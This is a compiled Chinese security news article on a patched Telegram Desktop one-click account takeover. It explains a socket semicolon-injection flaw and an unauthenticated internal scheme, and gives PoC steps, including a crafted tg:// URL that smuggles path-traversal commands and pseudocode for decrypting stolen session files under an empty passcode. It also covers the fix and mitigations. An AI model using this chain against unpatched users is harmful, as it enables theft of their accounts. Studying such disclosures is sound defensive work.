导语:你以为点了一个普通的 https 链接,浏览器却弹了个 Telegram 的处理提示。等你回过神来,桌面客户端已经把 tdata 里的三份核心文件发到了攻击者建的群组里。整个过程就一次点击,CVSS 8.1。
漏洞速览
- CVE:CVE-2026-107181
- CVSS 3.1:8.1 High(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
- 影响版本:Telegram Desktop 7.2.8 及以下(Windows 6.9.3 已确认)
- 修复版本:7.2.9(commit
db3405699f,2026-09-17 发布) - 作者:beaksec(CC BY 4.0 协议)
- 类型:命令注入 + 任意本地文件读取 → 账户接管
本文为编译报道,原始技术分析由 beaksec 公开,原文地址:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/。

一、两个缺陷拼成的完整链
这条攻击链由两个独立缺陷组合而成,单看任何一个都「看起来不严重」,拼起来就致命。
缺陷 1:单实例 socket 的分号注入
Telegram Desktop 用本地 socket 把 URL 传给已经运行的实例,传输格式很简单:
OPEN:tg://x?a=1;
发送端把 URL 拼成 OPEN:;,接收端用分号切分,然后逐条执行。但发送端在拼接时没有对分号转义。
攻击者把 URL 改成 tg://x?a=1;CMD:quit,到接收端就被切成两条:
OPEN:tg://x?a=1
CMD:quit
这就是第一道裂缝:客户端没有把分号当数据,只是当分隔符。
缺陷 2:未鉴权的 interpret: 内部 scheme
Telegram 内部有一组只在自己进程内识别的 URI scheme,其中一个是 interpret:。这个 scheme 是当年 TG 用来发版本发布的工具——读一个指令文件,文件里写明要把哪个 channel 的什么 caption 发什么附件,本地有 InterpretSendPath 函数直接执行。
问题在于:它不验证调用者身份,也没有确认提示。从命令行调用没问题(攻击者得有机器立足点),但一旦通过 socket 可达,就等于「远程任意文件读取 + 发送到攻击者频道」。

二、文件如何落盘到攻击者能猜到的路径
interpret: 接收路径。如果攻击者能提前把指令文件塞到受害者机器的可预测位置,链就闭合了。
Telegram Desktop 默认在群组里自动下载文件(最大 8 MiB),落到固定路径:
C:Users<user>DownloadsTelegram Desktop<file name>
用户名未知,但 interpret: 接受相对路径,Telegram 自身的工作目录是 %APPDATA%Telegram Desktop,回溯三级就到用户 home 下的 Downloads:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
这就绕开了用户名探测。攻击者只需在群组里发三个指令文件,TG 客户端在你打开群组时自动下载它们。
三、从文件读取到账户接管
Telegram 本地数据用双层密钥加密:
- DEK(Data Encryption Key,数据加密密钥)——长随机高熵,加密用户数据
- KEK(Key Encryption Key,密钥加密密钥)——由 passcode 经 KDF(密钥派生函数)算出,加密 DEK 本身
Telegram Desktop 默认没有本地 passcode。这意味着 KEK 是从空字符串 + salt 派生出来的,salt 就明文存着。于是:
salt, encrypted_DEK = read("tdata/key_datas")
KEK = KDF("", salt) # 空 passcode
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
三个关键文件:
tdata/
├── key_datas # salt + 加密的 DEK
├── D877F783D5D3EF8Cs # MTProto 授权(DEK 加密)
└── D877F783D5D3EF8C/maps # 索引(无密文但 session 加载要读它)
文件夹名是写死的字符串(storage_file_utilities.cpp:241-250),所有安装都一样。攻击者拿到这三个文件,扔进一个全新的 tdata,启动 Telegram,受害者账户直接登录——连 passcode 都不用。
四、完整 PoC 步骤
- 攻击者建一个 supergroup,把受害者拉进去(Telegram 默认隐私设置允许)
- 攻击者往群组里发 3 个指令文件,每个文件省略
from:行(跳过账户校验),指定不同目标 - 攻击者发一条无害的 https 链接到群里,受害者点击
- 浏览器跟随 302 重定向到构造的
tg://URL:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;
OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;
OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
- 操作系统启动第二个 Telegram 进程,URL 通过 socket 转发给已运行的实例
- 未转义的分号把单条 URL 拆成 4 条指令(1 个无操作 + 3 个
OPEN:interpret:) - 三条
interpret:命令执行,三个文件被读取并上传到攻击者频道 - 攻击者重建
tdata,启动 Telegram,受害者账户登录
整个过程一次点击,零确认弹窗。
五、时间线
| 日期 | 事件 |
|---|---|
| 2026-06-25 | 通过 ZDI 报告漏洞 |
| 2026-09-16 | 厂商独立修复,commit db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 发布 |
| 2026-09-30 | ZDI 关闭案例,披露权返回作者 |
| 2026-10-03 | beaksec 公开 writeup |
| 2026-10-07 | CVE-2026-107181 分配 |
修复发布很低调:7.2.9 changelog 只提了一个渲染修复,修复 commit 标题是「Remove legacy interpret path helper」,没有任何 advisory。
六、修复细节
commit db3405699f 做了三件事:
- 完全移除
interpret://scheme 和Support::InterpretSendPath——直接砍掉内部发布工具 - 转义 record separator(记录分隔符)——分号在写入前用 percent-prefixed hex 编码,读出后解码,再也不能当边界
- 混合命令检查——
OPEN:出现后跳过CMD:和CTRL:;出现非本地 URL 后丢弃本地文件路径
七、缓解措施
只有升级 7.2.9+ 才能真正关闭这条链。其他的只是降低暴露面:
- 开启「每次保存文件前询问」——自动下载被禁,指令文件落不到磁盘
- 限制只有联系人能拉你进群——被盗文件只能发到 channel/supergroup,这条直接掐断外传通道
- 设置本地 passcode——文件还是会被偷,但解不出 session
八、红队观察四点
- 「未鉴权的内部 API」是最危险的资产——
interpret:单独看是 TG 自家的发布工具,但因为没人验证调用者身份,配合任意一个能调到它的路径(这里是 socket)就成了 RCE 级的攻击面 - 「默认无 passcode」是产品决策漏洞——加密本地数据但默认空 passcode,salt 明文存,等于没加密
- changelog 不提安全修复是行业常态——TG 这里不是孤例,任何 changelog 都要和 commit diff 一起看
- 三文件复制 = 完整账户接管——这种「加密但默认空口令」的设计,攻击者只需要把攻击降级到「文件读取」就够了
九、思考题
- 如果
interpret:scheme 留着但加上调用者身份校验,这条链还能闭合吗? - 7.2.9 修复后,Telegram Desktop 还能不能通过类似的「默认行为 + 内部 scheme」组合发起攻击?给你 5 分钟源码审计你能找到什么?
- 默认无本地 passcode 的设计,除了 Telegram 之外还有哪些流行桌面客户端中招?
素材出处
本文编译自 beaksec 原创技术分析,原文采用 CC BY 4.0 协议。
- 原文标题:Telegram Desktop: one-click account takeover via IPC injection
- 作者:beaksec
- 原文地址:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/
- CVE:CVE-2026-107181
- ZDI 报告通道:2026-06-25 提交,2026-09-30 关闭
- 修复 commit:
db3405699f(Telegram Desktop 官方仓库,2026-09-16) - YouTube 频道:https://www.youtube.com/@beaksec














暂无评论内容